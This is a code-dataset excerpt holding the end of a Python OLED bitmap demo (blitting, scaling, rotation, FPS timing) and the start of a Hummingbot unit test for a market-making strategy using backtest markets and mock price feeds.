[1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,0,1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1],
[1,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,1,1,1],
[1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,1],
[1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,1,1,1,1,1,1,1],
[1,1,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1],
[1,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1],
[1,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1],
[1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1],
[1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1],
[1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1],
[1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1],
[1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1],
[1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1],
[1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1],
[1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1],
[1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1],
[1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1],
[1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1],
[1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,1],
[1,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1],
[1,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1],
[1,1,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,1,1,1,0,1,1,1,1,1,1],
[1,1,1,1,1,1,1,0,0,1,1,1,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,1,1],
[1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,0,0,1,1,1,1,1,1,1,1],
[1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1],
[1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1],
[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1],
[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],
[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],
[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],
[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1]
]
start = int(round(time.time() * 1000))
# bitmap blitting example at random positions
oledExp.clear()
oledExp.write("Bitmap bliting")
time.sleep(2)
oledExp.clear()
frames = 0
exampleStart = int(round(time.time() * 1000))
for i in range(10):
OledLib.putBitmap(randint(0, 60), randint(8, 20), batman)
OledLib.blit()
frames += 1
exampleEnd = int(round(time.time() * 1000))
millis = exampleEnd - exampleStart
print("Bitmap bliting took: " + str(millis) + " milliseconds")
print("Total Frames: " + str(frames))
print("FPS: " + str(frames*1000/float(millis)))
time.sleep(1)
# scalling example (zooming in, both axes scale)
oledExp.clear()
oledExp.write("Scaling: zoom in")
time.sleep(2)
frames = 0
exampleStart = int(round(time.time() * 1000))
for scale in range(8, 0, -1):
scaledBatman = OledLib.scaleBitmap(batman, scale, scale)
h = len(scaledBatman)
w = len(scaledBatman[0])
OledLib.putBitmap(64-w/2, 32-h/2, scaledBatman)
OledLib.blit()
frames += 1
exampleEnd = int(round(time.time() * 1000))
millis = exampleEnd - exampleStart
print("Scaling: zoom in took: " + str(millis) + " milliseconds")
print("Total Frames: " + str(frames))
print("FPS: " + str(frames*1000/float(millis)))
time.sleep(1)
# rotate bitmap 90, 180, 270, 360 degrees
oledExp.clear()
oledExp.write("Rotation: 90, 180, 270 degrees")
time.sleep(2)
oledExp.clear()
frames = 0
exampleStart = int(round(time.time() * 1000))
rotatedBatman = OledLib.rotateBitmap90(batman)
h = len(rotatedBatman)
w = len(rotatedBatman[0])
OledLib.putBitmap(64-w/2, 32-h/2, rotatedBatman)
OledLib.blit()
frames += 1
rotatedBatman = OledLib.rotateBitmap180(batman)
h = len(rotatedBatman)
w = len(rotatedBatman[0])
OledLib.putBitmap(64-w/2, 32-h/2, rotatedBatman)
OledLib.blit()
frames += 1
rotatedBatman = OledLib.rotateBitmap270(batman)
h = len(rotatedBatman)
w = len(rotatedBatman[0])
OledLib.putBitmap(64-w/2, 32-h/2, rotatedBatman)
OledLib.blit()
frames += 1
h = len(batman)
w = len(batman[0])
OledLib.putBitmap(64-w/2, 32-h/2, batman)
OledLib.blit()
frames += 1
exampleEnd = int(round(time.time() * 1000))
millis = exampleEnd - exampleStart
print("Rotation: 90, 180, 270 degrees took: " + str(millis) + " milliseconds")
print("Total Frames: " + str(frames))
print("FPS: " + str(frames*1000/float(millis)))
time.sleep(1)
# scaling example (x-axis only)
oledExp.clear()
oledExp.write("Scaling: x-axis")
time.sleep(2)
oledExp.clear()
frames = 0
exampleStart = int(round(time.time() * 1000))
scale = 1
while scale<=8:
scaledBatman = OledLib.scaleBitmap(batman, scale, 1)
h = len(scaledBatman)
w = len(scaledBatman[0])
OledLib.putBitmap(64-w/2, 32-h/2, scaledBatman)
OledLib.blit()
scale += 1
frames += 1
scale = 8
while scale>0:
scaledBatman = OledLib.scaleBitmap(batman, scale, 1)
h = len(scaledBatman)
w = len(scaledBatman[0])
OledLib.putBitmap(64-w/2, 32-h/2, scaledBatman)
OledLib.blit()
scale -= 1
frames += 1
exampleEnd = int(round(time.time() * 1000))
millis = exampleEnd - exampleStart
print("Scaling: x-axis took: " + str(millis) + " milliseconds")
print("Total Frames: " + str(frames))
print("FPS: " + str(frames*1000/float(millis)))
time.sleep(1)
# scaling and rotating example (y-axis only)
oledExp.clear()
oledExp.write("Scaling and rotating: y-axis")
time.sleep(2)
oledExp.clear()
frames = 0
exampleStart = int(round(time.time() * 1000))
OledLib.putBitmap(64-w/2, 32-h/2, batman)
OledLib.blit()
frames += 1
scale = 1
while scale<=8:
scaledBatman = OledLib.scaleBitmap(batman, 1, scale)
h = len(scaledBatman)
w = len(scaledBatman[0])
OledLib.putBitmap(64-w/2, 32-h/2, scaledBatman)
OledLib.blit()
scale += 1
frames += 1
rotatedBatman = OledLib.rotateBitmap180(batman)
h = len(rotatedBatman)
w = len(rotatedBatman[0])
scale = 8
while scale>0:
scaledBatman = OledLib.scaleBitmap(rotatedBatman, 1, scale)
h = len(scaledBatman)
w = len(scaledBatman[0])
OledLib.putBitmap(64-w/2, 32-h/2, scaledBatman)
OledLib.blit()
scale -= 1
frames += 1
exampleEnd = int(round(time.time() * 1000))
millis = exampleEnd - exampleStart
print("Scaling and rotating: y-axis took: " + str(millis) + " milliseconds")
print("Total Frames: " + str(frames))
print("FPS: " + str(frames*1000/float(millis)))
time.sleep(1)
oledExp.write("Enjoy OledLib!")
end = int(round(time.time() * 1000))
print("Demo completed in: " + str(end-start) + " milliseconds.") | 45.724138 | 130 | 0.593407 | 3,000 | 9,282 | 1.836 | 0.027333 | 0.455338 | 0.62037 | 0.761801 | 0.903595 | 0.870552 | 0.870552 | 0.856391 | 0.844771 | 0.823711 | 0 | 0.299297 | 0.06518 | 9,282 | 203 | 131 | 45.724138 | 0.335485 | 0.02187 | 0 | 0.67033 | 0 | 0 | 0.049372 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.021978 | 0 | 0.021978 | 0.087912 | 0 | 0 | 1 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 12 |
82d015988c97ae925e2eadd43142e3b0e6557133 | 78,102 | py | Python | test/test_pure_market_making_v2.py | fakecoinbase/4emslashhummingbot1 | 74b0ef943770ad141382a3a1851f55998facdac0 | [
"Apache-2.0"
] | null | null | null | test/test_pure_market_making_v2.py | fakecoinbase/4emslashhummingbot1 | 74b0ef943770ad141382a3a1851f55998facdac0 | [
"Apache-2.0"
] | null | null | null | test/test_pure_market_making_v2.py | fakecoinbase/4emslashhummingbot1 | 74b0ef943770ad141382a3a1851f55998facdac0 | [
"Apache-2.0"
] | 1 | 2020-05-15T03:37:03.000Z | 2020-05-15T03:37:03.000Z | #!/usr/bin/env python
from os.path import join, realpath
import sys; sys.path.insert(0, realpath(join(__file__, "../../")))
from hummingbot.strategy.market_trading_pair_tuple import MarketTradingPairTuple
from decimal import Decimal
import logging; logging.basicConfig(level=logging.ERROR)
import pandas as pd
from typing import List
import unittest
import time
from hummingsim.backtest.backtest_market import BacktestMarket
from hummingsim.backtest.market import (
AssetType,
Market,
MarketConfig,
QuantizationParams
)
from hummingsim.backtest.mock_order_book_loader import MockOrderBookLoader
from hummingbot.core.clock import (
Clock,
ClockMode
)
from hummingbot.core.event.event_logger import EventLogger
from hummingbot.core.event.events import (
MarketEvent,
OrderBookTradeEvent,
TradeType,
OrderType,
OrderFilledEvent,
BuyOrderCompletedEvent,
SellOrderCompletedEvent,
TradeFee
)
from hummingbot.core.data_type.order_book import OrderBook
from hummingbot.core.data_type.order_book_row import OrderBookRow
from hummingbot.core.data_type.limit_order import LimitOrder
from hummingbot.strategy.pure_market_making.pure_market_making_v2 import PureMarketMakingStrategyV2
from hummingbot.strategy.pure_market_making import (
ConstantSpreadPricingDelegate,
PassThroughFilterDelegate,
ConstantMultipleSpreadPricingDelegate,
ConstantSizeSizingDelegate,
StaggeredMultipleSizeSizingDelegate,
InventorySkewSingleSizeSizingDelegate,
InventorySkewMultipleSizeSizingDelegate,
OrderBookAssetPriceDelegate,
DataFeedAssetPriceDelegate
)
from hummingbot.data_feed.data_feed_base import DataFeedBase
from hummingbot.core.utils.exchange_rate_conversion import ExchangeRateConversion
from hummingbot.core.network_base import NetworkStatus
from hummingbot.client.command.config_command import ConfigCommand
class MockDataFeed(DataFeedBase):
@property
def name(self):
return self._name
def __init__(self, name, coin_prices):
super().__init__()
self._name = name
self._mock_price_dict = coin_prices
self._network_status = NetworkStatus.CONNECTED
async def check_network(self) -> NetworkStatus:
return NetworkStatus.CONNECTED
@property
def price_dict(self):
return self._mock_price_dict
def get_price(self, trading_pair):
return self._mock_price_dict.get(trading_pair.upper())
def start(self):
pass
def stop(self):
pass
class PureMarketMakingV2UnitTest(unittest.TestCase):
start: pd.Timestamp = pd.Timestamp("2019-01-01", tz="UTC")
end: pd.Timestamp = pd.Timestamp("2019-01-01 01:00:00", tz="UTC")
start_timestamp: float = start.timestamp()
end_timestamp: float = end.timestamp()
maker_trading_pairs: List[str] = ["COINALPHA-WETH", "COINALPHA", "WETH"]
def setUp(self):
self.clock: Clock = Clock(ClockMode.BACKTEST, 60.0, self.start_timestamp, self.end_timestamp)
self.clock_tick_size = 60
self.maker_market: BacktestMarket = BacktestMarket()
self.maker_data: MockOrderBookLoader = MockOrderBookLoader(*self.maker_trading_pairs)
self.mid_price = 100
self.bid_threshold = 0.01
self.ask_threshold = 0.01
self.order_refresh_time = 45
self.maker_data.set_balanced_order_book(mid_price=self.mid_price, min_price=1,
max_price=200, price_step_size=1, volume_step_size=10)
self.constant_pricing_delegate = ConstantSpreadPricingDelegate(Decimal(self.bid_threshold),
Decimal(self.ask_threshold))
self.constant_sizing_delegate = ConstantSizeSizingDelegate(Decimal("1.0"))
self.filter_delegate = PassThroughFilterDelegate()
self.equal_strategy_sizing_delegate = StaggeredMultipleSizeSizingDelegate(
order_start_size=Decimal("1.0"),
order_step_size=Decimal("0"),
order_levels=Decimal("5")
)
self.staggered_strategy_sizing_delegate = StaggeredMultipleSizeSizingDelegate(
order_start_size=Decimal("1.0"),
order_step_size=Decimal("0.5"),
order_levels=Decimal("5")
)
self.multiple_order_strategy_pricing_delegate = ConstantMultipleSpreadPricingDelegate(
bid_spread=Decimal(self.bid_threshold),
ask_spread=Decimal(self.ask_threshold),
order_level_spread=Decimal("0.01"),
order_levels=Decimal("5")
)
self.maker_market.add_data(self.maker_data)
self.maker_market.set_balance("COINALPHA", 500)
self.maker_market.set_balance("WETH", 5000)
self.maker_market.set_balance("QETH", 500)
self.maker_market.set_quantization_param(
QuantizationParams(
self.maker_trading_pairs[0], 6, 6, 6, 6
)
)
self.market_info: MarketTradingPairTuple = MarketTradingPairTuple(
*(
[self.maker_market] + self.maker_trading_pairs
)
)
logging_options: int = (PureMarketMakingStrategyV2.OPTION_LOG_ALL &
(~PureMarketMakingStrategyV2.OPTION_LOG_NULL_ORDER_SIZE))
self.strategy: PureMarketMakingStrategyV2 = PureMarketMakingStrategyV2(
[self.market_info],
filled_order_delay=self.order_refresh_time,
filter_delegate=self.filter_delegate,
sizing_delegate=self.constant_sizing_delegate,
pricing_delegate=self.constant_pricing_delegate,
order_refresh_time=45,
logging_options=logging_options
)
self.multi_order_equal_strategy: PureMarketMakingStrategyV2 = PureMarketMakingStrategyV2(
[self.market_info],
filter_delegate=self.filter_delegate,
pricing_delegate=self.multiple_order_strategy_pricing_delegate,
sizing_delegate=self.equal_strategy_sizing_delegate,
order_refresh_time=45,
logging_options=logging_options
)
self.multi_order_staggered_strategy: PureMarketMakingStrategyV2 = PureMarketMakingStrategyV2(
[self.market_info],
filter_delegate=self.filter_delegate,
pricing_delegate=self.multiple_order_strategy_pricing_delegate,
sizing_delegate=self.staggered_strategy_sizing_delegate,
order_refresh_time=45,
logging_options=logging_options
)
self.delayed_placement_strategy: PureMarketMakingStrategyV2 = PureMarketMakingStrategyV2(
[self.market_info],
filter_delegate=self.filter_delegate,
pricing_delegate=self.constant_pricing_delegate,
sizing_delegate=self.constant_sizing_delegate,
order_refresh_time=900,
filled_order_delay=80,
logging_options=logging_options
)
self.penny_jumping_strategy: PureMarketMakingStrategyV2 = PureMarketMakingStrategyV2(
[self.market_info],
filter_delegate=self.filter_delegate,
pricing_delegate=self.constant_pricing_delegate,
sizing_delegate=self.constant_sizing_delegate,
order_optimization_enabled=True,
order_refresh_time=900,
filled_order_delay=80,
hanging_orders_enabled=True,
logging_options=logging_options
)
self.ext_market: BacktestMarket = BacktestMarket()
self.ext_data: MockOrderBookLoader = MockOrderBookLoader(*self.maker_trading_pairs)
self.ext_market_info: MarketTradingPairTuple = MarketTradingPairTuple(
self.ext_market, *self.maker_trading_pairs
)
self.ext_data.set_balanced_order_book(mid_price=50, min_price=1, max_price=400, price_step_size=1,
volume_step_size=10)
self.ext_market.add_data(self.ext_data)
self.asset_del = OrderBookAssetPriceDelegate(self.ext_market, self.maker_trading_pairs[0])
self.ext_exc_price_strategy: PureMarketMakingStrategyV2 = PureMarketMakingStrategyV2(
[self.market_info],
filled_order_delay=self.order_refresh_time,
filter_delegate=self.filter_delegate,
sizing_delegate=self.constant_sizing_delegate,
pricing_delegate=self.constant_pricing_delegate,
order_refresh_time=45,
logging_options=logging_options,
asset_price_delegate=self.asset_del
)
self.multi_orders_ext_exc_price_strategy: PureMarketMakingStrategyV2 = PureMarketMakingStrategyV2(
[self.market_info],
filled_order_delay=self.order_refresh_time,
filter_delegate=self.filter_delegate,
sizing_delegate=self.equal_strategy_sizing_delegate,
pricing_delegate=self.multiple_order_strategy_pricing_delegate,
order_refresh_time=45,
logging_options=logging_options,
asset_price_delegate=self.asset_del
)
ExchangeRateConversion.set_global_exchange_rate_config({
"global_config": {
self.maker_trading_pairs[1]: {"default": 200, "source": "mock_data_feed"},
self.maker_trading_pairs[2]: {"default": 1, "source": "mock_data_feed"}
},
"default_data_feed": "mock_data_feed"
})
mock_feed = MockDataFeed("mock_data_feed", {self.maker_trading_pairs[1]: 200, self.maker_trading_pairs[2]: 1})
ExchangeRateConversion.set_data_feeds([
mock_feed
])
ExchangeRateConversion.set_update_interval(0.1)
ExchangeRateConversion.get_instance().start()
time.sleep(1)
self.feed_asset_del = DataFeedAssetPriceDelegate(self.maker_trading_pairs[1], self.maker_trading_pairs[2])
self.ext_feed_price_strategy: PureMarketMakingStrategyV2 = PureMarketMakingStrategyV2(
[self.market_info],
filled_order_delay=self.order_refresh_time,
filter_delegate=self.filter_delegate,
sizing_delegate=self.constant_sizing_delegate,
pricing_delegate=self.constant_pricing_delegate,
order_refresh_time=45,
logging_options=logging_options,
asset_price_delegate=self.feed_asset_del
)
self.multi_orders_ext_feed_price_strategy: PureMarketMakingStrategyV2 = PureMarketMakingStrategyV2(
[self.market_info],
filled_order_delay=self.order_refresh_time,
filter_delegate=self.filter_delegate,
sizing_delegate=self.equal_strategy_sizing_delegate,
pricing_delegate=self.multiple_order_strategy_pricing_delegate,
order_refresh_time=45,
logging_options=logging_options,
asset_price_delegate=self.feed_asset_del
)
self.logging_options = logging_options
self.clock.add_iterator(self.maker_market)
self.clock.add_iterator(self.strategy)
self.maker_order_fill_logger: EventLogger = EventLogger()
self.cancel_order_logger: EventLogger = EventLogger()
self.maker_market.add_listener(MarketEvent.OrderFilled, self.maker_order_fill_logger)
self.maker_market.add_listener(MarketEvent.OrderCancelled, self.cancel_order_logger)
def simulate_maker_market_trade(self, is_buy: bool, quantity: float):
maker_trading_pair: str = self.maker_trading_pairs[0]
order_book: OrderBook = self.maker_market.get_order_book(maker_trading_pair)
trade_event: OrderBookTradeEvent = OrderBookTradeEvent(
maker_trading_pair,
self.clock.current_timestamp,
TradeType.BUY if is_buy else TradeType.SELL,
(self.mid_price * (1 - self.bid_threshold - 0.01)
if not is_buy
else self.mid_price * (1 + self.ask_threshold + 0.01)),
quantity
)
order_book.apply_trade(trade_event)
# Update the orderbook so that the top bids and asks are lower than actual for a wider bid ask spread
# this basially removes the orderbook entries above top bid and below top ask
@staticmethod
def simulate_order_book_widening(order_book: OrderBook, top_bid: float, top_ask: float):
bid_diffs: List[OrderBookRow] = []
ask_diffs: List[OrderBookRow] = []
update_id: int = order_book.last_diff_uid + 1
for row in order_book.bid_entries():
if row.price > top_bid:
bid_diffs.append(OrderBookRow(row.price, 0, update_id))
else:
break
for row in order_book.ask_entries():
if row.price < top_ask:
ask_diffs.append(OrderBookRow(row.price, 0, update_id))
else:
break
order_book.apply_diffs(bid_diffs, ask_diffs, update_id)
@staticmethod
def simulate_limit_order_fill(market: Market, limit_order: LimitOrder):
quote_currency_traded: Decimal = limit_order.price * limit_order.quantity
base_currency_traded: Decimal = limit_order.quantity
quote_currency: str = limit_order.quote_currency
base_currency: str = limit_order.base_currency
config: MarketConfig = market.config
if limit_order.is_buy:
market.set_balance(quote_currency, market.get_balance(quote_currency) - quote_currency_traded)
market.set_balance(base_currency, market.get_balance(base_currency) + base_currency_traded)
market.trigger_event(MarketEvent.OrderFilled, OrderFilledEvent(
market.current_timestamp,
limit_order.client_order_id,
limit_order.trading_pair,
TradeType.BUY,
OrderType.LIMIT,
limit_order.price,
limit_order.quantity,
TradeFee(Decimal("0.0"))
))
market.trigger_event(MarketEvent.BuyOrderCompleted, BuyOrderCompletedEvent(
market.current_timestamp,
limit_order.client_order_id,
base_currency,
quote_currency,
base_currency if config.buy_fees_asset is AssetType.BASE_CURRENCY else quote_currency,
base_currency_traded,
quote_currency_traded,
Decimal("0.0"),
OrderType.LIMIT
))
else:
market.set_balance(quote_currency, market.get_balance(quote_currency) + quote_currency_traded)
market.set_balance(base_currency, market.get_balance(base_currency) - base_currency_traded)
market.trigger_event(MarketEvent.OrderFilled, OrderFilledEvent(
market.current_timestamp,
limit_order.client_order_id,
limit_order.trading_pair,
TradeType.SELL,
OrderType.LIMIT,
limit_order.price,
limit_order.quantity,
TradeFee(Decimal("0.0"))
))
market.trigger_event(MarketEvent.SellOrderCompleted, SellOrderCompletedEvent(
market.current_timestamp,
limit_order.client_order_id,
base_currency,
quote_currency,
base_currency if config.sell_fees_asset is AssetType.BASE_CURRENCY else quote_currency,
base_currency_traded,
quote_currency_traded,
Decimal("0.0"),
OrderType.LIMIT
))
def test_confirm_active_bids_asks(self):
self.clock.backtest_til(self.start_timestamp + self.clock_tick_size)
self.assertEqual(1, len(self.strategy.active_bids))
self.assertEqual(1, len(self.strategy.active_asks))
def test_correct_price_correct_size(self):
self.clock.backtest_til(self.start_timestamp + self.clock_tick_size)
self.assertEqual(self.mid_price * (1 + self.ask_threshold),
self.strategy.active_asks[0][1].price)
self.assertEqual(self.mid_price * (1 - self.bid_threshold),
self.strategy.active_bids[0][1].price)
self.assertEqual(1, self.strategy.active_bids[0][1].quantity)
self.assertEqual(1, self.strategy.active_asks[0][1].quantity)
def test_spread_configs_update_single_mode(self):
self.clock.backtest_til(self.start_timestamp + self.clock_tick_size)
self.assertEqual(self.mid_price * (1 - Decimal('0.01')),
self.strategy.active_bids[0][1].price)
self.assertEqual(self.mid_price * (1 + Decimal('0.01')),
self.strategy.active_asks[0][1].price)
self.assertEqual(1, self.strategy.active_bids[0][1].quantity)
self.assertEqual(1, self.strategy.active_asks[0][1].quantity)
ConfigCommand.update_running_pure_mm(self.strategy, "bid_spread", Decimal('2'))
ConfigCommand.update_running_pure_mm(self.strategy, "ask_spread", Decimal('3'))
self.clock.backtest_til(self.start_timestamp + (2 * self.clock_tick_size) + 1)
self.assertEqual(self.mid_price * (1 - Decimal('0.02')),
self.strategy.active_bids[0][1].price)
self.assertEqual(self.mid_price * (1 + Decimal('0.03')),
self.strategy.active_asks[0][1].price)
def test_check_sufficient_balance(self):
self.maker_market.set_balance("WETH", 0)
end_ts = self.start_timestamp + self.clock_tick_size
self.clock.backtest_til(end_ts)
self.assertEqual(0, len(self.strategy.active_bids))
self.assertEqual(1, len(self.strategy.active_asks))
self.maker_market.set_balance("COINALPHA", 0)
end_ts += self.clock_tick_size
self.clock.backtest_til(end_ts)
self.assertEqual(0, len(self.strategy.active_bids))
self.assertEqual(0, len(self.strategy.active_asks))
self.maker_market.set_balance("COINALPHA", 500)
self.maker_market.set_balance("WETH", 500)
end_ts += self.clock_tick_size
self.clock.backtest_til(end_ts)
self.assertEqual(1, len(self.strategy.active_bids))
self.assertEqual(1, len(self.strategy.active_asks))
def test_check_if_active_orders_are_cancelled_every_tick(self):
end_ts = self.start_timestamp + self.clock_tick_size
self.clock.backtest_til(end_ts)
old_bid = self.strategy.active_bids[0][1]
old_ask = self.strategy.active_asks[0][1]
self.assertEqual(1, len(self.strategy.active_bids))
self.assertEqual(1, len(self.strategy.active_asks))
end_ts += self.clock_tick_size + 1
self.clock.backtest_til(end_ts)
new_bid = self.strategy.active_bids[0][1]
new_ask = self.strategy.active_asks[0][1]
self.assertNotEqual(old_ask, new_ask)
self.assertNotEqual(old_bid, new_bid)
def test_order_fills(self):
self.clock.backtest_til(self.start_timestamp + self.clock_tick_size)
self.assertEqual(1, len(self.strategy.active_bids))
self.assertEqual(1, len(self.strategy.active_asks))
bid_order: LimitOrder = self.strategy.active_bids[0][1]
ask_order: LimitOrder = self.strategy.active_asks[0][1]
self.assertEqual(Decimal("99"), bid_order.price)
self.assertEqual(Decimal("101"), ask_order.price)
self.assertEqual(Decimal("1.0"), bid_order.quantity)
self.assertEqual(Decimal("1.0"), ask_order.quantity)
self.simulate_maker_market_trade(True, 5.0)
self.clock.backtest_til(self.start_timestamp + 2 * self.clock_tick_size + 1)
self.assertEqual(1, len(self.maker_order_fill_logger.event_log))
maker_fill: OrderFilledEvent = self.maker_order_fill_logger.event_log[0]
self.assertEqual(TradeType.SELL, maker_fill.trade_type)
self.assertAlmostEqual(101, maker_fill.price)
self.assertAlmostEqual(1.0, maker_fill.amount)
self.maker_order_fill_logger.clear()
def test_market_become_wider(self):
self.clock.backtest_til(self.start_timestamp + self.clock_tick_size)
bid_order: LimitOrder = self.strategy.active_bids[0][1]
ask_order: LimitOrder = self.strategy.active_asks[0][1]
self.assertEqual(Decimal("99"), bid_order.price)
self.assertEqual(Decimal("101"), ask_order.price)
self.assertEqual(Decimal("1.0"), bid_order.quantity)
self.assertEqual(Decimal("1.0"), ask_order.quantity)
self.simulate_order_book_widening(self.maker_data.order_book, 90, 110)
self.clock.backtest_til(self.start_timestamp + 2 * self.clock_tick_size + 1)
self.assertEqual(2, len(self.cancel_order_logger.event_log))
self.assertEqual(1, len(self.strategy.active_bids))
self.assertEqual(1, len(self.strategy.active_asks))
bid_order: LimitOrder = self.strategy.active_bids[0][1]
